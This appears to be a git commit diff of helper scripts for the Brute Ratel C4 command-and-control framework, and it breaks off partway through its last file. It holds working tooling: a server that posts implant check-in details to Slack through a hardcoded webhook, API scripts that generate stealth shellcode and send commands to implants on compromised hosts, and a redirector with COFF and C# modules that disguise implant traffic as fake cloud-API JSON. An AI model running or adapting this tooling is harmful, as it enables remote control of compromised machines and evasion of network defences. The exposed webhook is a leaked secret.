initial commit
This commit is contained in:
@@ -0,0 +1,108 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# In order for this script to run successfully, the operator needs to
|
||||
# update the slackWebHook variable with their own webhook generated
|
||||
# from slack. This can be generated by Creating a channel, an app and
|
||||
# then enabling Incoming Webhooks within the Slack App. Once the
|
||||
# webhook is enabled, it will return a URL which needs to be added in
|
||||
# the slackWebHook variable below
|
||||
|
||||
import sys
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
import json
|
||||
import threading
|
||||
import requests
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
info = """
|
||||
Brute Ratel C4 Notification Provider
|
||||
Author : Paranoid Ninja
|
||||
"""
|
||||
|
||||
usage = """
|
||||
Usage : badgerNotifier.py slack <certfile> <keyfile>
|
||||
Eg. : badgerNotifier.py slack /etc/letsencrypt/live/evasionlabs.com/fullchain.pem /etc/letsencrypt/live/evasionlabs.com/privkey.pem
|
||||
"""
|
||||
|
||||
LHOST = "0.0.0.0"
|
||||
LPORT = 8080
|
||||
slackWebHookUrl = "https://hooks.slack.com/services/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"
|
||||
|
||||
class NotificationHandler(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "text/html")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self, message):
|
||||
content = f"{message}"
|
||||
return content.encode("utf8")
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] GET request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print("[" + currtime + "] HEAD request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_POST(self):
|
||||
try:
|
||||
postData = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8')).rstrip('\r\n\r\n\0')
|
||||
jdata = json.loads(postData)
|
||||
# print(jdata)
|
||||
if "badger" in jdata:
|
||||
b_id = jdata["badger"]
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print(f"[+] {currtime} " + b_id + " checked in")
|
||||
if "badger_config" in jdata:
|
||||
b_uid = jdata["badger_config"]["b_uid"]
|
||||
b_h_name = jdata["badger_config"]["b_h_name"]
|
||||
b_p_name = jdata["badger_config"]["b_p_name"]
|
||||
b_pid = jdata["badger_config"]["b_pid"]
|
||||
b_winver = jdata["badger_config"]["b_wver"]
|
||||
b_bld = jdata["badger_config"]["b_bld"]
|
||||
finalMsg = "Badger *" + b_id + "* checked in as user *" + b_uid + "* from host *" + b_h_name + "* spawned under process *" + b_pid + "::" + b_p_name + "* on Windows " + b_winver + " Build " + b_bld
|
||||
# print(finalMsg)
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html(""))
|
||||
try:
|
||||
requests.post(slackWebHookUrl, json={'text':finalMsg}, verify=False, headers={'Content-type': 'application/json'})
|
||||
except Exception as ex:
|
||||
print("[!] Exception:", ex)
|
||||
|
||||
except Exception as ex:
|
||||
print("[-] Exception:", ex)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def main():
|
||||
print(info)
|
||||
if (len(sys.argv) < 3):
|
||||
print(usage)
|
||||
return
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
print(f"[+] {currtime} Starting Badger Notification Handler for %s => {LHOST}:{LPORT}" % sys.argv[1])
|
||||
server = HTTPServer((LHOST, LPORT), NotificationHandler)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=sys.argv[2], keyfile=sys.argv[3], server_side=True)
|
||||
thread = threading.Thread(None, server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,59 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import ssl
|
||||
import websocket
|
||||
import json
|
||||
import requests
|
||||
import urllib3
|
||||
import threading
|
||||
import base64
|
||||
import sys
|
||||
import argparse
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
# Requests a rtl shellcode request. Check API docs for more information
|
||||
|
||||
def readerThread(ws):
|
||||
while True:
|
||||
response = ws.recv()
|
||||
jdata = json.loads(response)
|
||||
if 'task' in jdata and 'access' in jdata :
|
||||
if jdata['access'] == True:
|
||||
taskID = jdata['task']
|
||||
if taskID == 59:
|
||||
print("Badgers Removed:", jdata)
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='This is a sample script to use Brute Ratel Server API!!!')
|
||||
parser.add_argument('-u', type=str, required=True, help="Brute Ratel username", metavar='')
|
||||
parser.add_argument('-p', type=str, required=True, help="Brute Ratel user's password", metavar='')
|
||||
parser.add_argument('-s', type=str, required=True, help="Brute Ratel server host and port. Eg: 127.0.0.1:8443", metavar='')
|
||||
parser.add_argument('-b', type=str, required=False, help="Badger IDs to remove seperated by comma with no space", metavar='')
|
||||
args = parser.parse_args()
|
||||
if not args.b:
|
||||
print("Error: Need Badger ID '-b' to send command to the badger")
|
||||
sys.exit(0)
|
||||
|
||||
user = args.u
|
||||
password = args.p
|
||||
server = args.s
|
||||
badgerList = args.b.split(',')
|
||||
print("Removing: ", badgerList)
|
||||
loginData = json.dumps({'creds':{'user':user,'pass':password}})
|
||||
response = requests.post('https://'+server+'/', data=loginData, verify=False)
|
||||
jdata = json.loads(response.text)
|
||||
if 'token' in jdata:
|
||||
cookie = jdata['token']
|
||||
print("[+] Auth Success. Cookie:", cookie)
|
||||
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
|
||||
ws.connect("wss://"+server)
|
||||
ws.send(json.dumps({'creds': { 'token': cookie, 'user': user }, 'task':0}))
|
||||
threading.Thread(target=readerThread, args=(ws,)).start()
|
||||
apiRequest = json.dumps({
|
||||
'bgr_list': badgerList,
|
||||
'task': 59
|
||||
})
|
||||
ws.send(apiRequest)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,104 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import ssl
|
||||
import websocket
|
||||
import json
|
||||
import requests
|
||||
import urllib3
|
||||
import threading
|
||||
import base64
|
||||
import sys
|
||||
import argparse
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
|
||||
# Requests a rtl shellcode request. Check API docs for more information
|
||||
|
||||
def readerThread(ws):
|
||||
while True:
|
||||
response = ws.recv()
|
||||
jdata = json.loads(response)
|
||||
if 'task' in jdata and 'access' in jdata :
|
||||
if jdata['access'] == True:
|
||||
taskID = jdata['task']
|
||||
|
||||
if taskID == 36:
|
||||
savePath = jdata['save_path']
|
||||
print("[+] Received Payload. Saving to disk as", savePath)
|
||||
shellcode = base64.b64decode(jdata['payload_dat'])
|
||||
shellcodeLen = len(shellcode)
|
||||
fileIO = open(savePath, "wb")
|
||||
fileIO.write(shellcode)
|
||||
fileIO.close()
|
||||
print("[+] Wrote %d bytes to disk" % shellcodeLen)
|
||||
sys.exit(0)
|
||||
if taskID == 17:
|
||||
print("Command sent successfully")
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='This is a sample script to use Brute Ratel Server API!!!')
|
||||
parser.add_argument('-u', type=str, required=True, help="Brute Ratel username", metavar='')
|
||||
parser.add_argument('-p', type=str, required=True, help="Brute Ratel user's password", metavar='')
|
||||
parser.add_argument('-s', type=str, required=True, help="Brute Ratel server host and port. Eg: 127.0.0.1:8443", metavar='')
|
||||
parser.add_argument('-g', type=str, required=False, help="Generates rtl, wait, rtl-stealth, rtl-wait shellcode", metavar='')
|
||||
parser.add_argument('-c', type=str, required=False, help="Sends a command to a badger", metavar='')
|
||||
parser.add_argument('-b', type=str, required=False, help="BadgerID to send a payload to", metavar='')
|
||||
args = parser.parse_args()
|
||||
if not args.c and not args.g:
|
||||
print("Error: Need atleast '-g' or '-c")
|
||||
sys.exit(0)
|
||||
|
||||
if args.c:
|
||||
if not args.b:
|
||||
print("Error: Need Badger ID '-b' to send command to the badger")
|
||||
sys.exit(0)
|
||||
|
||||
user = args.u
|
||||
password = args.p
|
||||
server = args.s
|
||||
loginData = json.dumps({'creds':{'user':user,'pass':password}})
|
||||
response = requests.post('https://'+server+'/', data=loginData, verify=False)
|
||||
jdata = json.loads(response.text)
|
||||
if 'token' in jdata:
|
||||
cookie = jdata['token']
|
||||
print("[+] Auth Success. Cookie:", cookie)
|
||||
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE})
|
||||
ws.connect("wss://"+server)
|
||||
ws.send(json.dumps({'creds': { 'token': cookie, 'user': 'admin' }, 'task':0}))
|
||||
threading.Thread(target=readerThread, args=(ws,)).start()
|
||||
|
||||
apiRequest = json.dumps({})
|
||||
shellcodeType = 1
|
||||
if args.g:
|
||||
if args.g == "rtl":
|
||||
shellcodeType = 1
|
||||
elif args.g == "wait":
|
||||
shellcodeType = 2
|
||||
elif args.g == "rtl-stealth":
|
||||
shellcodeType = 8
|
||||
elif args.g == "rtl-wait":
|
||||
shellcodeType = 9
|
||||
else:
|
||||
sys.exit(0)
|
||||
|
||||
apiRequest = json.dumps({
|
||||
'payload_arch': 1,
|
||||
'payload_config_name': 'primary-c2',
|
||||
'payload_type': shellcodeType,
|
||||
'save_path': 'badger_x64_'+args.g+'.bin',
|
||||
'svc_desc': 'NA',
|
||||
'svc_name': 'NA',
|
||||
'task': 36
|
||||
})
|
||||
else:
|
||||
apiRequest = json.dumps({
|
||||
'bgr_cmd':{
|
||||
'badger': args.b,
|
||||
'cmd': args.c
|
||||
},
|
||||
'task':17
|
||||
})
|
||||
|
||||
ws.send(apiRequest)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,3 @@
|
||||
#!/bin/bash
|
||||
|
||||
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/bin/bash
|
||||
# use this script to install dependencies for the server and the client
|
||||
|
||||
## server dependencies
|
||||
sudo apt-get install nasm mingw-w64
|
||||
|
||||
## Uncomment this if Commander does not work
|
||||
# sudo apt-get install libqt5webenginewidgets5 libqt5websockets5
|
||||
@@ -0,0 +1,36 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Brute Ratel versions support seamless updates between minor versions, preserving all data
|
||||
# Major versions, like 1.7, 1.8, 1.9, demonstrate significant changes
|
||||
# Minor versions, such as 1.7.1, 1.8.1, 1.9.1, or 1.9.2, maintain compatibility within the same major version.
|
||||
# Updating from, for example, 1.9.0 to 1.9.8 doesn't result in data loss, ensuring cross-compatibility among all badgers and servers.
|
||||
# Deploying badgers from minor version (eg: 1.9.0) alongside another minor version (1.9.8) server remains seamless and functional.
|
||||
# This script facilitates safe updates between minor versions, ensuring preservation of badgers, logs, and downloaded data.
|
||||
# Prior to execution, please adhere to the following steps. For this example, we will assume the old package is 1.9.0 and the update version is 1.9.2
|
||||
|
||||
# 1. Download 1.9.2 tar.gz package from bruteratel.com and extract/activate it
|
||||
# 2. Copy this `migrate.sh` script to the 1.9.2 package
|
||||
# 3. Ensure all badgers are idling (sleeping) and not actively executing any commands or sending responses during migration.
|
||||
# 4. A recommended suggestion would be to synchronize all your badgers and put them to sleep for a minimum of 5 minutes, so that the badgers do not check in during the following operations
|
||||
# 5. Close the Commander and allow your Server to remain idle for a minimum of 2 minutes before proceeding with the following operation. This allows time for Ratel server to autosave the latest server metadata to autosave.profile which is executed every 30 seconds
|
||||
# 6. After the badgers and the server is set to idle, backup your server profile using `scratchpad` or just backup the `autosave.profile`, and then terminate the old server (1.9.0) using Ctrl+C
|
||||
# 7. Navigate to the new package (1.9.2), and execute the `migrate.sh` with full path of the old package as the commandline argument. Example: ./migrate.sh /home/noob/Documents/bruteratel_1.9.0
|
||||
# 8. Make note that your current working directory should be the new package directory when you are executing the script.
|
||||
# 9. Run the new package using './brute-ratel-linx64 -ratel -r autosave.profile' command.
|
||||
|
||||
echo "!!! NOTE: Make sure this script is stored in the new package directory !!!"
|
||||
|
||||
if [ $# -eq 0 ]; then
|
||||
echo "Error: No argument provided. Please provide full path of the old package"
|
||||
else
|
||||
oldPackage=$1
|
||||
newPackage=`pwd`
|
||||
echo "[+] Old package path: $oldPackage"
|
||||
echo "[+] New package path: $newPackage"
|
||||
cp -rf "$oldPackage/logs" $newPackage
|
||||
cp -rf "$oldPackage/hosted" $newPackage
|
||||
cp -rf "$oldPackage/downloads" $newPackage
|
||||
cp -rf "$oldPackage/uploads" $newPackage
|
||||
cp -rf "$oldPackage/autosave.profile" $newPackage
|
||||
echo "[+] Update complete. Execute the new package with: './brute-ratel-linx64 -ratel -r autosave.profile'"
|
||||
fi
|
||||
@@ -0,0 +1,18 @@
|
||||
#include <windows.h>
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch);
|
||||
DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...);
|
||||
DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...);
|
||||
DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf);
|
||||
DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf);
|
||||
DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ;
|
||||
DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len);
|
||||
DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2);
|
||||
DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2);
|
||||
DECLSPEC_IMPORT int BadgerAtoi(char* string);
|
||||
DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length);
|
||||
DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr);
|
||||
DECLSPEC_IMPORT BOOL BadgerSetdebug();
|
||||
DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer);
|
||||
DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...);
|
||||
DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer);
|
||||
@@ -0,0 +1 @@
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /t:exe /out:modify_http.exe modify_http.cs
|
||||
@@ -0,0 +1,148 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import threading
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
import sys
|
||||
import requests
|
||||
import urllib3
|
||||
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
||||
import logging
|
||||
|
||||
DEBUG_LOGS = False
|
||||
BRC4_LISTENER_URL = ""
|
||||
BRC4_USERAGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36"
|
||||
|
||||
PostRequestPrepend = "{\n \"Action\": \"CreateResource\",\n \"Service\": \"ExampleService\",\n \"Version\": \"2019-09-01\",\n \"Region\": \"us-east-1\",\n \"Timestamp\": \"2023-09-04T12:00:00Z\",\n \"Credentials\": {\n \"AccessKeyId\": \"YOUR_ACCESS_KEY_ID\",\n \"SecretAccessKey\": \""
|
||||
PostRequestPrependLength = len(PostRequestPrepend)
|
||||
PostRequestAppend = "\"\n },\n \"RequestParameters\": {\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
|
||||
PostRequestAppendLength = len(PostRequestAppend)
|
||||
|
||||
PostResponsePrepend = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \""
|
||||
PostResponsePrependLength = len(PostResponsePrepend)
|
||||
PostResponseAppend = "\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}"
|
||||
PostResponseAppendLength = len(PostResponseAppend)
|
||||
|
||||
PostEmptyResponse = "{\n \"ResponseMetadata\": {\n \"RequestId\": \"12345678-1234-5678-1234-567812345678\",\n \"HTTPStatusCode\": 200,\n \"HTTPHeaders\": {\n \"x-amzn-requestid\": \"12345678-1234-5678-1234-567812345678\",\n \"content-type\": \"application/json\"\n }\n },\n \"Result\": {\n \"ResourceID\": \"example-resource-id\",\n \"ResourceName\": \"example-resource\",\n \"Description\": \"This is an example resource\",\n \"CreationDate\": \"2023-09-04T12:15:00Z\",\n \"Tags\": [\n {\n \"Key\": \"Environment\",\n \"Value\": \"Development\"\n },\n {\n \"Key\": \"Owner\",\n \"Value\": \"John Doe\"\n }\n ]\n }\n}\n"
|
||||
PostEmptyResponseLength = (PostEmptyResponse)
|
||||
|
||||
logging.basicConfig(
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
level=logging.INFO, # Set log level to DEBUG
|
||||
datefmt='%Y-%m-%d %H:%M:%S' # Specify the date and time format
|
||||
)
|
||||
|
||||
def ModifyPostRequest(postData):
|
||||
postData = postData[PostRequestPrependLength:-PostRequestAppendLength]
|
||||
postData = postData.replace("$", "")
|
||||
postData = PostRequestPrepend + postData + PostRequestAppend
|
||||
if not DEBUG_LOGS:
|
||||
print(".")
|
||||
return postData
|
||||
|
||||
def ModifyPostResponse(postResponse):
|
||||
if (postResponse != PostEmptyResponse):
|
||||
postResponse = postResponse[PostResponsePrependLength:-PostResponseAppendLength]
|
||||
part_size = 5
|
||||
if part_size <= 0 or part_size > len(postResponse):
|
||||
return postResponse
|
||||
parts = [postResponse[i:i + part_size] for i in range(0, len(postResponse), part_size)]
|
||||
postResponse = "$".join(parts)
|
||||
postResponse = PostResponsePrepend + postResponse + PostResponseAppend
|
||||
return postResponse
|
||||
|
||||
|
||||
class Stager(BaseHTTPRequestHandler):
|
||||
def _set_headers(self):
|
||||
self.send_response(200)
|
||||
self.send_header("Content-type", "application/json")
|
||||
self.end_headers()
|
||||
|
||||
def _html(self, message):
|
||||
content = f"{message}"
|
||||
return content.encode("utf8")
|
||||
|
||||
def do_GET(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
logging.info("[" + currtime + "] GET request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_HEAD(self):
|
||||
self._set_headers()
|
||||
self.wfile.write(self._html("404 Not Found"))
|
||||
currtime = (datetime.now()).strftime("%d/%m/%Y %H:%M:%S")
|
||||
logging.info("[" + currtime + "] HEAD request from " + self.address_string())
|
||||
for x, y in self.headers.items():
|
||||
print(" - ", x, ": ", y )
|
||||
print("------------------------------------------------------------")
|
||||
|
||||
def do_POST(self):
|
||||
# verifying that useragent matches
|
||||
if (self.headers["User-Agent"] == BRC4_USERAGENT):
|
||||
try:
|
||||
global DEBUG_LOGS
|
||||
postRequest = ((self.rfile.read(int(self.headers['content-length']))).decode('utf-8'))
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(postRequest)
|
||||
logging.info(f"Received from badger: {datalen} bytes (START)")
|
||||
postRequest = ModifyPostRequest(postRequest)
|
||||
headers = {
|
||||
"Content-Type": "application/json",
|
||||
"User-Agent": BRC4_USERAGENT,
|
||||
}
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(postRequest)
|
||||
logging.info(f"Sent to BRc4 server: {datalen} bytes")
|
||||
response = requests.post(BRC4_LISTENER_URL, postRequest, headers=headers, verify=False)
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(response.text)
|
||||
logging.info(f"Received from BRc4 server: {datalen} bytes")
|
||||
postResponse = ModifyPostResponse(response.text)
|
||||
if DEBUG_LOGS:
|
||||
datalen = len(postResponse)
|
||||
logging.info(f"Sent to badger: {datalen} bytes (END)")
|
||||
self._set_headers()
|
||||
self.wfile.write(postResponse.encode("utf-8"))
|
||||
except Exception as ex:
|
||||
logging.info("[-] Exception: ", ex)
|
||||
|
||||
def log_message(self, format, *args):
|
||||
return
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description='BRc4 HTTP Mutating Server Example 0.1')
|
||||
parser.add_argument('-c', '--cert', type=str, required=True, help="certificate file")
|
||||
parser.add_argument('-k', '--key', type=str, required=True, help="certificate key")
|
||||
parser.add_argument('-f', '--forward', type=str, required=True, help="BRc4 server to forward. Eg.: '172.16.219.1:10443'")
|
||||
parser.add_argument('-l', '--listener', type=str, required=True, help="Listener host and port. Eg.: '172.16.219.1:443'")
|
||||
parser.add_argument('-u', '--url', type=str, required=True, help="BRc4 URL to forward")
|
||||
parser.add_argument('-d', '--debug', action='store_true', required=False, help="Enable debug logs")
|
||||
args = parser.parse_args()
|
||||
|
||||
listenerHost = args.listener.split(":")[0]
|
||||
listenerPort = args.listener.split(":")[1]
|
||||
if not args.url.startswith("/"):
|
||||
args.url = "/" + args.url
|
||||
global BRC4_LISTENER_URL
|
||||
global DEBUG_LOGS
|
||||
BRC4_LISTENER_URL = "https://" + args.forward + args.url
|
||||
logging.info(f"External C2 Server: '{args.listener}' => '{BRC4_LISTENER_URL}'")
|
||||
logging.info(f"Useragent: '{BRC4_USERAGENT}'")
|
||||
if args.debug:
|
||||
logging.info(f"Debug logs enabled")
|
||||
DEBUG_LOGS = True
|
||||
server = HTTPServer((listenerHost, int(listenerPort)), Stager)
|
||||
server.socket = ssl.wrap_socket(server.socket, certfile=args.cert, keyfile=args.key, server_side=True)
|
||||
thread = threading.Thread(None, server.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
thread.join()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -0,0 +1,79 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include "badger_exports.h"
|
||||
|
||||
// compile with:
|
||||
// x86_64-w64-mingw32-gcc modify_http.c -c -o modify_http.o
|
||||
|
||||
char* RemoveDelimiter(char* src_buffer) {
|
||||
int i, j = 0;
|
||||
size_t len = BadgerStrlen(src_buffer);
|
||||
char* dst_buffer = (char*)BadgerAlloc(len + 1); // +1 for the null terminator
|
||||
if (! dst_buffer) {
|
||||
return NULL; // Allocation failed
|
||||
}
|
||||
BadgerMemcpy(dst_buffer, src_buffer, len);
|
||||
for (i = 0; i < len; i++) {
|
||||
// If the current character is not '$', copy it to the new position
|
||||
if (dst_buffer[i] != '$') {
|
||||
dst_buffer[j++] = dst_buffer[i];
|
||||
}
|
||||
}
|
||||
// Null-terminate the modified string
|
||||
dst_buffer[j] = '\0';
|
||||
return dst_buffer;
|
||||
}
|
||||
|
||||
char* DelimitBuffer(char* src_buffer, size_t part_size) {
|
||||
size_t size = BadgerStrlen(src_buffer);
|
||||
if (size == 0 || part_size == 0 || part_size > size) {
|
||||
return NULL;
|
||||
}
|
||||
// Calculate the number of parts
|
||||
size_t num_parts = (size + part_size - 1) / part_size; // ceil(size / part_size)
|
||||
size_t new_size = size + (num_parts - 1); // Additional space for delimiters
|
||||
|
||||
// Allocate memory for the new string
|
||||
char* dst_buffer = (char*)BadgerAlloc(new_size + 1); // +1 for the null terminator
|
||||
if (! dst_buffer) {
|
||||
return NULL; // Allocation failed
|
||||
}
|
||||
size_t new_index = 0;
|
||||
// Split the src_buffer and add delimiters
|
||||
for (size_t i = 0; i < size; i += part_size) {
|
||||
// Copy the part
|
||||
size_t current_part_size = (i + part_size <= size) ? part_size : (size - i);
|
||||
BadgerMemcpy(&dst_buffer[new_index], &src_buffer[i], current_part_size);
|
||||
new_index += current_part_size;
|
||||
// Add delimiter if not the last part
|
||||
if (i + part_size < size) {
|
||||
dst_buffer[new_index++] = '$';
|
||||
}
|
||||
}
|
||||
|
||||
// Null terminate the new string
|
||||
dst_buffer[new_index] = '\0';
|
||||
return dst_buffer;
|
||||
}
|
||||
|
||||
|
||||
void coffee(char** argv, int argc, WCHAR** dispatch) {
|
||||
// argc will be 2
|
||||
// argv[0] : if string "0", its request; if string "1", its response
|
||||
// argv[1] : contains request or response buffer depending on argv[0]
|
||||
|
||||
CHAR *src_buffer = argv[1];
|
||||
CHAR *dst_buffer = NULL;
|
||||
|
||||
if (BadgerStrcmp(argv[0], "0") == 0) {
|
||||
size_t part_size = 5;
|
||||
dst_buffer = DelimitBuffer(src_buffer, part_size);
|
||||
} else if (BadgerStrcmp(argv[0], "1") == 0) {
|
||||
dst_buffer = RemoveDelimiter(src_buffer);
|
||||
}
|
||||
|
||||
if (dst_buffer) {
|
||||
BadgerSetHTTPBuffer((PVOID)dst_buffer);
|
||||
BadgerFree((PVOID*)&dst_buffer);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,87 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
public class HttpBufferManager {
|
||||
// Define a delegate that matches the function signature
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
public delegate void BadgerSetHTTPBufferDelegate(string argument);
|
||||
|
||||
public static void ExecutePointer(string argument, string addressString) {
|
||||
if (string.IsNullOrEmpty(addressString) || string.IsNullOrEmpty(argument)) {
|
||||
return;
|
||||
}
|
||||
// Convert the string representation of the address to an IntPtr
|
||||
IntPtr address = (IntPtr)Convert.ToInt64(addressString, 16);
|
||||
// Convert the IntPtr to a delegate
|
||||
BadgerSetHTTPBufferDelegate BadgerSetHTTPBuffer = (BadgerSetHTTPBufferDelegate)Marshal.GetDelegateForFunctionPointer(address, typeof(BadgerSetHTTPBufferDelegate));
|
||||
// Invoke the function via the delegate
|
||||
BadgerSetHTTPBuffer(argument);
|
||||
}
|
||||
|
||||
public static string RemoveDelimiter(string srcBuffer) {
|
||||
if (string.IsNullOrEmpty(srcBuffer)) {
|
||||
return null;
|
||||
}
|
||||
int length = srcBuffer.Length;
|
||||
// Allocate a buffer to store the modified string
|
||||
char[] dst_buffer = new char[length];
|
||||
int j = 0;
|
||||
for (int i = 0; i < length; i++) {
|
||||
// If the current character is not '$', copy it to the new position
|
||||
if (srcBuffer[i] != '$') {
|
||||
dst_buffer[j++] = srcBuffer[i];
|
||||
}
|
||||
}
|
||||
// Create a new string from the modified character array and return it
|
||||
return new string(dst_buffer, 0, j);
|
||||
}
|
||||
|
||||
public static string DelimitBuffer(string src_buffer, int part_size) {
|
||||
if (string.IsNullOrEmpty(src_buffer) || part_size <= 0) {
|
||||
return null;
|
||||
}
|
||||
// Calculate the number of full parts
|
||||
int fullPartsCount = src_buffer.Length / part_size;
|
||||
int remainder = src_buffer.Length % part_size;
|
||||
// Create an array to hold the parts
|
||||
string[] parts = new string[fullPartsCount + (remainder > 0 ? 1 : 0)];
|
||||
// Split the src_buffer into parts
|
||||
for (int i = 0; i < fullPartsCount; i++) {
|
||||
parts[i] = src_buffer.Substring(i * part_size, part_size);
|
||||
}
|
||||
// Add the remaining part if any
|
||||
if (remainder > 0) {
|
||||
parts[fullPartsCount] = src_buffer.Substring(fullPartsCount * part_size);
|
||||
}
|
||||
// Join the parts with the delimiter "$"
|
||||
return string.Join("$", parts);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
namespace ModifyHttp {
|
||||
class Program {
|
||||
static void Main(string[] args) {
|
||||
// argc will be 3
|
||||
// argv[0] : if string "0", its request; if string "1", its response
|
||||
// argv[1] : contains request or response buffer depending on argv[0]
|
||||
// argv[2] : contains pointer for BadgerSetHTTPBuffer (similar to COFF)
|
||||
|
||||
string src_buffer = args[1];
|
||||
string dst_buffer = "";
|
||||
|
||||
if (args[0] == "0") {
|
||||
int part_size = 5;
|
||||
dst_buffer = HttpBufferManager.DelimitBuffer(src_buffer, part_size);
|
||||
} else if (args[0] == "1") {
|
||||
dst_buffer = HttpBufferManager.RemoveDelimiter(src_buffer);
|
||||
}
|
||||
|
||||
if (dst_buffer != "") {
|
||||
HttpBufferManager.ExecutePointer(dst_buffer, args[2]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
#!/bin/bash
|
||||
|
||||
# listen on 443 using ssl keys (ssl test)
|
||||
openssl s_server -key key.pem -cert cert.pem -accept 443
|
||||
@@ -0,0 +1,78 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
import threading
|
||||
from datetime import datetime
|
||||
from http.server import HTTPServer, BaseHTTPRequestHandler
|
||||
import ssl
|
||||
import sys
|
||||
import requests
|
